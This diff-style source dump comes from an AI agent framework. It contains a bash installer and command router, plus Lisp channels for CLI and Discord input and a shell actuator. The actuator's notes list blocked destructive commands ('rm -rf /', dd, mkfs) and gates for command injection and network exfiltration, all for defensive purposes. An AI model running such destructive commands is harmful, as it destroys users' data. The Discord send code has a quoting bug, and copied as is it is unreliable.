echo -e "${RED}✗ Cannot auto-install: apt-get not available${NC}"
|
||||
echo "Please install manually: sbcl emacs git curl socat netcat-openbsd"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# --- 2. SETUP ---
|
||||
setup_system() {
|
||||
NON_INTERACTIVE=false
|
||||
for arg in "$@"; do
|
||||
if [ "$arg" == "--non-interactive" ]; then NON_INTERACTIVE=true; fi
|
||||
done
|
||||
|
||||
echo -e "${BLUE}=== OpenCortex: Initializing XDG-Compliant System ===${NC}"
|
||||
|
||||
# Create standard directories
|
||||
mkdir -p "$OC_CONFIG_DIR" "$OC_DATA_DIR" "$OC_STATE_DIR" "$OC_BIN_DIR"
|
||||
mkdir -p "$OC_DATA_DIR/harness" "$OC_DATA_DIR/tests" "$OC_DATA_DIR/skills"
|
||||
|
||||
echo -e "${YELLOW}--- Installing System Dependencies ---${NC}"
|
||||
if command_exists apt-get; then
|
||||
sudo apt-get update && sudo apt-get install -y sbcl emacs-nox rlwrap netcat-openbsd curl git socat libssl-dev libncurses-dev libffi-dev zlib1g-dev libsqlite3-dev
|
||||
fi
|
||||
if [ ! -d "$HOME/quicklisp" ]; then
|
||||
curl -O https://beta.quicklisp.org/quicklisp.lisp
|
||||
sbcl --non-interactive --load quicklisp.lisp --eval "(quicklisp-quickstart:install)" --eval "(ql-util:without-prompting (ql:add-to-init-file))"
|
||||
rm quicklisp.lisp
|
||||
fi
|
||||
|
||||
# Tangle the literate source from the repo into XDG directories
|
||||
echo -e "${YELLOW}--- Deploying Engine to $OC_DATA_DIR ---${NC}"
|
||||
cp "$SCRIPT_DIR/opencortex.asd" "$OC_DATA_DIR/"
|
||||
mkdir -p "$OC_DATA_DIR/harness" "$OC_DATA_DIR/tests" "$OC_DATA_DIR/skills"
|
||||
|
||||
export INSTALL_DIR="$OC_DATA_DIR"
|
||||
|
||||
# --- Harness files ---
|
||||
# Copy org files to harness/ so :tangle relative paths resolve to XDG
|
||||
cp "$SCRIPT_DIR/harness"/*.org "$OC_DATA_DIR/harness/"
|
||||
|
||||
# Critical: Tangle manifest first (into root)
|
||||
echo "Tangling harness/manifest.org..."
|
||||
(cd "$OC_DATA_DIR/harness" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"manifest.org\")") >/dev/null 2>&1 || true
|
||||
|
||||
# Tangle harness files into harness/
|
||||
for f in "$OC_DATA_DIR/harness"/*.org; do
|
||||
fname=$(basename "$f" .org)
|
||||
if [ "$fname" != "manifest" ]; then
|
||||
echo "Tangling harness/$fname.org..."
|
||||
(cd "$OC_DATA_DIR/harness" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"${fname}.org\")") >/dev/null 2>&1 || true
|
||||
fi
|
||||
done
|
||||
|
||||
# Move test files that landed in harness/ to tests/
|
||||
find "$OC_DATA_DIR/harness" -name "*-tests.lisp" -exec mv {} "$OC_DATA_DIR/tests/" \; 2>/dev/null || true
|
||||
|
||||
# Remove org files from harness/ (only .lisp should remain)
|
||||
rm -f "$OC_DATA_DIR/harness"/*.org
|
||||
|
||||
# --- Skill files ---
|
||||
for f in "$SCRIPT_DIR/skills"/*.org; do
|
||||
fname=$(basename "$f" .org)
|
||||
echo "Tangling skills/$fname.org..."
|
||||
sed "s|%%SKILLS_DIR%%|$OC_DATA_DIR/skills|g" "$f" > "/tmp/$fname.org"
|
||||
(cd "$OC_DATA_DIR/skills" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"/tmp/$fname.org\")") >/dev/null 2>&1 || true
|
||||
done
|
||||
|
||||
# Move test files that landed in skills/ to tests/
|
||||
find "$OC_DATA_DIR/skills" -name "*-tests.lisp" -exec mv {} "$OC_DATA_DIR/tests/" \; 2>/dev/null || true
|
||||
rm -f /tmp/*.org
|
||||
|
||||
# Also move run-all-tests.lisp if it landed in the wrong place
|
||||
[ -f "$OC_DATA_DIR/run-all-tests.lisp" ] && mv "$OC_DATA_DIR/run-all-tests.lisp" "$OC_DATA_DIR/harness/"
|
||||
|
||||
# Cleanup: Remove .org files from XDG (we only want .lisp)
|
||||
echo "Cleaning up .org files from XDG..."
|
||||
rm -f "$OC_DATA_DIR/harness"/*.org "$OC_DATA_DIR/skills"/*.org /tmp/*.org
|
||||
|
||||
cd "$SCRIPT_DIR" # Create the bin shim
|
||||
echo -e "${YELLOW}--- Creating Bin Shim in $OC_BIN_DIR/opencortex ---${NC}"
|
||||
ln -sf "$SCRIPT_DIR/opencortex.sh" "$OC_BIN_DIR/opencortex"
|
||||
|
||||
if [ "$NON_INTERACTIVE" = true ]; then
|
||||
echo "Setup complete (Non-interactive)."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo -e "${YELLOW}--- Launching Lisp Setup Wizard ---${NC}"
|
||||
# Use OC_DATA_DIR for the Lisp registry
|
||||
exec sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval "(setf (uiop:getenv \"SKILLS_DIR\") \"$OC_DATA_DIR/skills\")" \
|
||||
--eval '(ql:quickload :opencortex)' \
|
||||
--eval "(setf (uiop:getenv \"SKILLS_DIR\") \"$OC_DATA_DIR/skills\")" \
|
||||
--eval '(opencortex:initialize-all-skills)' \
|
||||
--eval '(funcall (find-symbol "RUN-SETUP-WIZARD" :opencortex))'
|
||||
}
|
||||
|
||||
# --- Doctor Repair (Lightweight Fix) ---
|
||||
doctor_repair() {
|
||||
echo -e "${BLUE}=== OpenCortex: Repair Mode ===${NC}"
|
||||
|
||||
# 1. Fix system dependencies
|
||||
echo -e "${YELLOW}--- Fixing System Dependencies ---${NC}"
|
||||
check_dependencies
|
||||
|
||||
# 2. Ensure XDG directories exist
|
||||
echo -e "${YELLOW}--- Fixing XDG Directories ---${NC}"
|
||||
mkdir -p "$OC_CONFIG_DIR" "$OC_DATA_DIR" "$OC_STATE_DIR" "$OC_BIN_DIR"
|
||||
mkdir -p "$OC_DATA_DIR/harness" "$OC_DATA_DIR/tests" "$OC_DATA_DIR/skills"
|
||||
|
||||
# 3. Re-tangle harness files that may be broken
|
||||
echo -e "${YELLOW}--- Re-tangling Harness Files ---${NC}"
|
||||
for f in "$SCRIPT_DIR/harness"/*.org; do
|
||||
if [ -f "$f" ]; then
|
||||
fname=$(basename "$f" .org)
|
||||
echo " Checking harness/$fname..."
|
||||
# Try to load each harness file - if it fails, re-tangle
|
||||
if ! sbcl --non-interactive \
|
||||
--eval "(load \"$OC_DATA_DIR/harness/${fname}.lisp\")" \
|
||||
--eval "(format t \"OK~%\")" 2>/dev/null | grep -q "OK"; then
|
||||
echo " Re-tangling $fname.org..."
|
||||
(cd "$OC_DATA_DIR/harness" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"$f\")" >/dev/null 2>&1) || true
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
# 4. Re-tangle skill files that may be broken
|
||||
echo -e "${YELLOW}--- Re-tangling Skill Files ---${NC}"
|
||||
for f in "$SCRIPT_DIR/skills"/*.org; do
|
||||
if [ -f "$f" ]; then
|
||||
fname=$(basename "$f" .org)
|
||||
echo " Checking skill/$fname..."
|
||||
# Replace %%SKILLS_DIR%% placeholder with temp file
|
||||
sed "s|%%SKILLS_DIR%%|$OC_DATA_DIR/skills|g" "$f" > "/tmp/$fname.org"
|
||||
if ! sbcl --non-interactive \
|
||||
--eval "(load \"$OC_DATA_DIR/skills/${fname}.lisp\")" \
|
||||
--eval "(format t \"OK~%\")" 2>/dev/null | grep -q "OK"; then
|
||||
echo " Re-tangling $fname.org..."
|
||||
(cd "$OC_DATA_DIR/skills" && emacs -Q --batch \
|
||||
--eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"/tmp/${fname}.org\")" >/dev/null 2>&1) || true
|
||||
fi
|
||||
rm -f "/tmp/$fname.org"
|
||||
fi
|
||||
done
|
||||
|
||||
# 5. Cleanup .org files
|
||||
rm -f "$OC_DATA_DIR/harness"/*.org "$OC_DATA_DIR/skills"/*.org 2>/dev/null || true
|
||||
|
||||
echo -e "${GREEN}--- Repair Complete ---${NC}"
|
||||
echo "Run 'opencortex doctor' to verify the system."
|
||||
}
|
||||
|
||||
# --- 3. COMMAND ROUTER ---
|
||||
COMMAND=$1
|
||||
[ -z "$COMMAND" ] && COMMAND="cli"
|
||||
shift || true
|
||||
|
||||
case "$COMMAND" in
|
||||
link)
|
||||
PLATFORM=$1
|
||||
TOKEN=$2
|
||||
check_dependencies
|
||||
exec sbcl --non-interactive --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' --eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" --eval "(setf (uiop:getenv \"SKILLS_DIR\") \"$OC_DATA_DIR/skills\")" --eval '(ql:quickload :opencortex)' --eval '(opencortex:initialize-all-skills)' --eval "(funcall (find-symbol \"GATEWAY-MANAGER-MAIN\" :opencortex) \"$PLATFORM\" \"$TOKEN\")"
|
||||
;;
|
||||
|
||||
doctor)
|
||||
check_dependencies
|
||||
if [ "$1" = "--watch" ]; then
|
||||
echo "Starting background health monitor (60s interval)..."
|
||||
echo "Press Ctrl+C to stop."
|
||||
echo ""
|
||||
while true; do
|
||||
echo "--- $(date '+%Y-%m-%d %H:%M:%S') ---"
|
||||
sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :opencortex)' \
|
||||
--eval '(opencortex:initialize-all-skills)' \
|
||||
--eval '(funcall (find-symbol "DOCTOR-RUN-ALL" :opencortex))' \
|
||||
--eval '(uiop:quit 0)' 2>&1 | grep -E "(HEALTH|OK|FAIL|WARN|SYSTEM|===)" || true
|
||||
sleep 60
|
||||
done
|
||||
elif [ "$1" = "--fix" ]; then
|
||||
# Check if major harness files exist - if not, run full setup
|
||||
if [ ! -f "$OC_DATA_DIR/harness/package.lisp" ] || [ ! -f "$OC_DATA_DIR/harness/skills.lisp" ]; then
|
||||
echo "Core files missing. Running full setup..."
|
||||
setup_system "$@"
|
||||
else
|
||||
echo "Repairing system..."
|
||||
doctor_repair
|
||||
fi
|
||||
else
|
||||
exec sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :opencortex)' \
|
||||
--eval '(opencortex:initialize-all-skills)' \
|
||||
--eval '(funcall (find-symbol "DOCTOR-MAIN" :opencortex))'
|
||||
fi
|
||||
;;
|
||||
|
||||
setup)
|
||||
check_dependencies
|
||||
if [ "$1" = "--add-provider" ]; then
|
||||
echo "Adding LLM provider..."
|
||||
sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :opencortex)' \
|
||||
--eval '(opencortex:initialize-all-skills)' \
|
||||
--eval '(funcall (find-symbol "SETUP-ADD-PROVIDER" :opencortex))'
|
||||
elif [ "$1" = "--link" ]; then
|
||||
PLATFORM=$2
|
||||
TOKEN=$3
|
||||
if [ -z "$PLATFORM" ] || [ -z "$TOKEN" ]; then
|
||||
echo "Usage: opencortex setup --link <platform> <token>"
|
||||
echo " platforms: slack, discord"
|
||||
exit 1
|
||||
fi
|
||||
echo "Linking $PLATFORM gateway..."
|
||||
$0 link "$PLATFORM" "$TOKEN"
|
||||
elif [ "$1" = "--non-interactive" ]; then
|
||||
setup_system "$@"
|
||||
else
|
||||
# Run interactive setup wizard
|
||||
echo "Starting interactive setup wizard..."
|
||||
sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval "(setf (uiop:getenv \"SKILLS_DIR\") \"$OC_DATA_DIR/skills\")" \
|
||||
--eval '(ql:quickload :opencortex)' \
|
||||
--eval '(opencortex:initialize-all-skills)' \
|
||||
--eval '(funcall (find-symbol "RUN-SETUP-WIZARD" :opencortex))'
|
||||
fi
|
||||
;;
|
||||
|
||||
boot|--boot)
|
||||
check_dependencies
|
||||
exec sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval "(ql:quickload '(:opencortex :croatoan))" \
|
||||
--eval '(opencortex:main)'
|
||||
;;
|
||||
|
||||
daemon)
|
||||
check_dependencies
|
||||
echo "Starting OpenCortex daemon in background..."
|
||||
nohup sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval "(ql:quickload '(:opencortex :croatoan))" \
|
||||
--eval '(opencortex:main)' \
|
||||
> "$OC_STATE_DIR/daemon.log" 2>&1 &
|
||||
echo "Daemon started. Waiting for port 9105..."
|
||||
for i in {1..20}; do
|
||||
if ss -tln | grep -q 9105; then
|
||||
echo "✓ Daemon ready on port 9105"
|
||||
exit 0
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
echo "✗ Daemon failed to start. Check $OC_STATE_DIR/daemon.log"
|
||||
exit 1
|
||||
;;
|
||||
|
||||
tui)
|
||||
check_dependencies
|
||||
if ! ss -tln | grep -q 9105; then
|
||||
echo "Daemon not running. Starting daemon first..."
|
||||
$0 daemon
|
||||
fi
|
||||
if sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :opencortex/tui)' \
|
||||
--eval '(opencortex.tui:main)'; then
|
||||
true
|
||||
else
|
||||
EXIT_CODE=$?
|
||||
echo ""
|
||||
echo "TUI exited with error. Running diagnostics..."
|
||||
$0 doctor
|
||||
echo ""
|
||||
echo "Run 'opencortex doctor --fix' to repair, or 'opencortex setup' to reconfigure."
|
||||
exit $EXIT_CODE
|
||||
fi
|
||||
;;
|
||||
|
||||
cli|boot)
|
||||
check_dependencies
|
||||
if sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval "(ql:quickload '(:opencortex :croatoan))" \
|
||||
--eval '(opencortex:main)'; then
|
||||
true
|
||||
else
|
||||
EXIT_CODE=$?
|
||||
echo ""
|
||||
echo "CLI exited with error. Running diagnostics..."
|
||||
$0 doctor
|
||||
echo ""
|
||||
echo "Run 'opencortex doctor --fix' to repair, or 'opencortex setup' to reconfigure."
|
||||
exit $EXIT_CODE
|
||||
fi
|
||||
;;
|
||||
|
||||
*)
|
||||
echo "Available commands: setup, link, doctor, boot, tui, cli, daemon"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
72
org/channel-cli.org
Normal file
72
org/channel-cli.org
Normal file
@@ -0,0 +1,72 @@
|
||||
#+TITLE: SKILL: CLI Gateway (org-skill-cli-gateway.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:gateway:cli:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/channel-cli.lisp
|
||||
|
||||
* Overview
|
||||
The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout over TCP. It connects to the daemon's framed protocol and translates between terminal input/output and the plist-based communication format. No TUI, no ncurses, no dependencies beyond a TCP socket. Every other gateway (TUI, Emacs, Telegram) builds on this same protocol.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (channel-cli-input text): wraps text in a ~:user-input~ envelope
|
||||
with ~:source :CLI~ and injects into the pipeline via
|
||||
~stimulus-inject~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** CLI Command Handling
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun channel-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text)
|
||||
:meta (list :source :CLI))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-channel-cli
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-channel-cli-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:cli-suite))
|
||||
|
||||
(in-package :passepartout-channel-cli-tests)
|
||||
|
||||
(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
|
||||
(fiveam:in-suite cli-suite)
|
||||
|
||||
(fiveam:test test-channel-cli-input-format
|
||||
"Contract 1: channel-cli-input injects a properly formed signal without error."
|
||||
(handler-case
|
||||
(progn (channel-cli-input "hello") (fiveam:pass))
|
||||
(error (c)
|
||||
(fiveam:fail "channel-cli-input crashed: ~a" c))))
|
||||
#+end_src
|
||||
|
||||
** Load-Time Sanity Check
|
||||
|
||||
Verifies the function exists and can be called at load time without
|
||||
depending on FiveAM macro resolution in the jailed package.
|
||||
|
||||
#+begin_src lisp
|
||||
(handler-case
|
||||
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
|
||||
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
|
||||
#+end_src
|
||||
90
org/channel-discord.org
Normal file
90
org/channel-discord.org
Normal file
@@ -0,0 +1,90 @@
|
||||
#+TITLE: Channel Discord (channel-discord.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :channel:discord:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/channel-discord.lisp
|
||||
|
||||
* Channel Discord
|
||||
|
||||
Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic.
|
||||
|
||||
* Overview
|
||||
|
||||
The Discord channel provides bidirectional communication via the Discord REST API
|
||||
and Gateway WebSocket. Messages received from Discord channels are injected into
|
||||
the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound
|
||||
messages route through the actuator registry when the pipeline targets ~:discord~.
|
||||
|
||||
The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling)
|
||||
and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token
|
||||
from the credentials vault (~vault-get-secret :discord~). HITL commands are
|
||||
intercepted before injection so approval flows work identically across all channels.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (discord-get-token): returns the Discord bot token from the vault
|
||||
(via ~vault-get-secret :discord~), or nil if not configured.
|
||||
2. (discord-poll): polls configured channels via GET /channels/{id}/messages,
|
||||
injects each non-bot message as a ~:user-input~ stimulus with
|
||||
~:source :discord~. Handles JSON parse failures and API errors
|
||||
gracefully. HITL commands are intercepted before injection.
|
||||
3. (discord-send action context): sends a message via POST /channels/{id}/messages.
|
||||
Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token
|
||||
authentication. Logs send failures without crashing the pipeline.
|
||||
|
||||
* Implementation
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(defun discord-get-token ()
|
||||
(vault-get-secret :discord))
|
||||
|
||||
(defun discord-send (action context)
|
||||
"Sends a message via Discord REST API."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(channel-id (or (getf meta :channel-id) (getf payload :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (discord-get-token)))
|
||||
(when (and token channel-id text)
|
||||
(handler-case
|
||||
(dex:post (format nil "https://discord.com/api/v10/channels/~a/messages" channel-id)
|
||||
:headers '(("Authorization" . ,(format nil "Bot ~a" token))
|
||||
("Content-Type" . "application/json"))
|
||||
:content (cl-json:encode-json-to-string
|
||||
`((content . ,text))))
|
||||
(error (c) (log-message "DISCORD ERROR: ~a" c))))))
|
||||
|
||||
(defun discord-poll ()
|
||||
"Polls Discord via HTTP GET /channels/{id}/messages. In production,
|
||||
a WebSocket connection to the Gateway is preferred for real-time events."
|
||||
(let* ((token (discord-get-token)))
|
||||
(when token
|
||||
(handler-case
|
||||
(dolist (channel '("channel-id-here")) ;; configured channel IDs
|
||||
(let* ((last-id (getf (gethash "discord" *gateway-configs*) :last-update-id 0))
|
||||
(url (format nil "https://discord.com/api/v10/channels/~a/messages?after=~a"
|
||||
channel last-id))
|
||||
(response (dex:get url :headers
|
||||
`(("Authorization" . ,(format nil "Bot ~a" token))))))
|
||||
(let ((messages (ignore-errors
|
||||
(cdr (assoc :message
|
||||
(cl-json:decode-json-from-string response))))))
|
||||
(dolist (msg (and (listp messages) messages))
|
||||
(let* ((id (cdr (assoc :id msg)))
|
||||
(content (cdr (assoc :content msg)))
|
||||
(author (cdr (assoc :author msg)))
|
||||
(author-id (cdr (assoc :id author)))
|
||||
(is-bot (cdr (assoc :bot author))))
|
||||
(when (and id content (not is-bot))
|
||||
(setf (getf (gethash "discord" *gateway-configs*) :last-update-id) id)
|
||||
(unless (ignore-errors (hitl-handle-message content :discord))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :discord :chat-id channel)
|
||||
:payload (list :sensor :user-input :text content))))))))))
|
||||
(error (c) (log-message "DISCORD POLL ERROR: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
|
||||
#+end_src
|
||||
135
org/channel-shell.org
Normal file
135
org/channel-shell.org
Normal file
@@ -0,0 +1,135 @@
|
||||
#+TITLE: SKILL: Shell Actuator (org-skill-shell-actuator.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:actuator:shell:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/channel-shell.lisp
|
||||
|
||||
* Overview: The Physical Actuator
|
||||
|
||||
The Shell Actuator is the agent's hand in the physical world. Given a shell command, it executes it via ~bash -c~ and returns the output. This is how the agent installs packages, reads files, runs scripts, and interacts with any Unix tool.
|
||||
|
||||
Because shell execution is the highest-risk operation in the system, the Shell Actuator is protected by multiple safety layers:
|
||||
1. The Dispatcher's shell safety gate blocks destructive commands (~rm -rf /~, ~dd~, ~mkfs~)
|
||||
2. The Dispatcher's injection gate blocks backtick and ~$()~ patterns
|
||||
3. The Dispatcher's network exfil gate blocks connections to unwhitelisted hosts
|
||||
4. The actuator enforces a timeout (default 30s) so hanging commands don't freeze the agent
|
||||
5. The actuator caps output (default 100KB) so infinite output doesn't exhaust memory
|
||||
6. (v0.4.3) When ~bwrap~ (Bubblewrap) is available, commands execute inside a Linux namespace sandbox with network and IPC isolation
|
||||
|
||||
** Contract
|
||||
|
||||
1. (bwrap-available-p): returns T if ~bwrap~ is installed and usable, NIL otherwise.
|
||||
Cached at load time via ~which bwrap~.
|
||||
2. (bwrap-wrap-command cmd timeout memex-dir): returns a command list suitable for
|
||||
~uiop:run-program~ — wraps ~cmd~ in a ~bwrap~ sandbox with ~--unshare-net~,
|
||||
~--unshare-ipc~, ~--ro-bind~ for system dirs, and ~--bind~ for the memex and /tmp.
|
||||
3. (actuator-shell-execute action context): when ~bwrap~ is available, wraps the
|
||||
command through the sandbox. When ~bwrap~ is unavailable, falls back to the
|
||||
existing ~timeout bash -c~ behavior.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Shell Execution (actuator-shell-execute)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *bwrap-available* nil
|
||||
"Set to T at load time if the bwrap binary is found in PATH.")
|
||||
|
||||
(defvar *bwrap-base-args*
|
||||
'("--ro-bind" "/usr" "/usr"
|
||||
"--ro-bind" "/lib" "/lib"
|
||||
"--ro-bind" "/bin" "/bin"
|
||||
"--ro-bind" "/etc" "/etc"
|
||||
"--bind" "/tmp" "/tmp"
|
||||
"--unshare-net"
|
||||
"--unshare-ipc")
|
||||
"Base bwrap arguments for the sandbox. --bind ~/memex ~/memex is added dynamically.")
|
||||
|
||||
(defun bwrap-available-p ()
|
||||
"Returns T if bwrap (bubblewrap) is installed and usable."
|
||||
*bwrap-available*)
|
||||
|
||||
(defun bwrap-wrap-command (cmd timeout memex-dir)
|
||||
"Wrap CMD in a bwrap sandbox with network and IPC isolation.
|
||||
Returns a list suitable for uiop:run-program."
|
||||
`("bwrap"
|
||||
,@*bwrap-base-args*
|
||||
"--bind" ,memex-dir ,memex-dir
|
||||
"timeout" ,(format nil "~a" timeout)
|
||||
"bash" "-c" ,cmd))
|
||||
|
||||
;; Initialize at load time
|
||||
(setf *bwrap-available*
|
||||
(= 0 (nth-value 2 (uiop:run-program '("which" "bwrap") :output nil :error-output nil :ignore-error-status t))))
|
||||
|
||||
(defun actuator-shell-execute (action context)
|
||||
"Executes a shell command via the OS timeout binary with output limit.
|
||||
When bwrap is available, wraps the command in a Linux namespace sandbox."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(cmd (getf payload :cmd))
|
||||
(timeout-sym (find-symbol "*DISPATCHER-SHELL-TIMEOUT*" :passepartout))
|
||||
(timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30)))
|
||||
(max-sym (find-symbol "*DISPATCHER-SHELL-MAX-OUTPUT*" :passepartout))
|
||||
(max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000)))
|
||||
(memex-dir (or (uiop:getenv "MEMEX_DIR") (namestring (merge-pathnames "memex/" (user-homedir-pathname))))))
|
||||
(log-message "ACT [Shell]: ~a (timeout: ~as)~@[ bwrap: enabled~]" cmd timeout (and *bwrap-available* " (bwrap)"))
|
||||
(let ((cmdline (if *bwrap-available*
|
||||
(bwrap-wrap-command cmd timeout memex-dir)
|
||||
(list "timeout" (format nil "~a" timeout) "bash" "-c" cmd))))
|
||||
(multiple-value-bind (out err code)
|
||||
(uiop:run-program cmdline
|
||||
:output :string :error-output :string
|
||||
:ignore-error-status t)
|
||||
(cond
|
||||
((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout))
|
||||
((> (length out) max-output)
|
||||
(format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output))
|
||||
((= code 0) out)
|
||||
(t (format nil "ERROR [~a]: ~a" code err)))))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(register-actuator :shell #'actuator-shell-execute)
|
||||
|
||||
(defskill :passepartout-channel-shell
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-shell-actuator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:shell-actuator-suite))
|
||||
|
||||
(in-package :passepartout-shell-actuator-tests)
|
||||
|
||||
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
|
||||
(in-suite shell-actuator-suite)
|
||||
|
||||
(test test-bwrap-wrap-command
|
||||
"Contract 2: bwrap-wrap-command returns properly formatted command list."
|
||||
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
|
||||
(is (member "bwrap" cmdline :test #'string=))
|
||||
(is (member "--unshare-net" cmdline :test #'string=))
|
||||
(is (member "--unshare-ipc" cmdline :test #'string=))
|
||||
(is (member "echo hello" cmdline :test #'string=))))
|
||||
|
||||
(test test-bwrap-available-p-returns-boolean
|
||||
"Contract 1: bwrap-available-p returns T or NIL."
|
||||
(let ((avail (passepartout::bwrap-available-p)))
|
||||
(is (typep avail 'boolean))))
|
||||
|
||||
(test test-actuator-shell-execute-echo
|
||||
"Contract 3: actuator-shell-execute runs echo and returns output."
|
||||
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
|
||||
(result (passepartout::actuator-shell-execute action nil)))
|
||||
(is (stringp result))
|
||||
(is (search "hello" result :test #'char-equal))))
|
||||
#+end_src
|
||||
82
org/channel-signal.org
Normal file
82
org/channel-signal.org
Normal file
@@ -0,0 +1,82 @@
|
||||
#+TITLE: Channel Signal (channel-signal.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :channel:signal:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/channel-signal.lisp
|
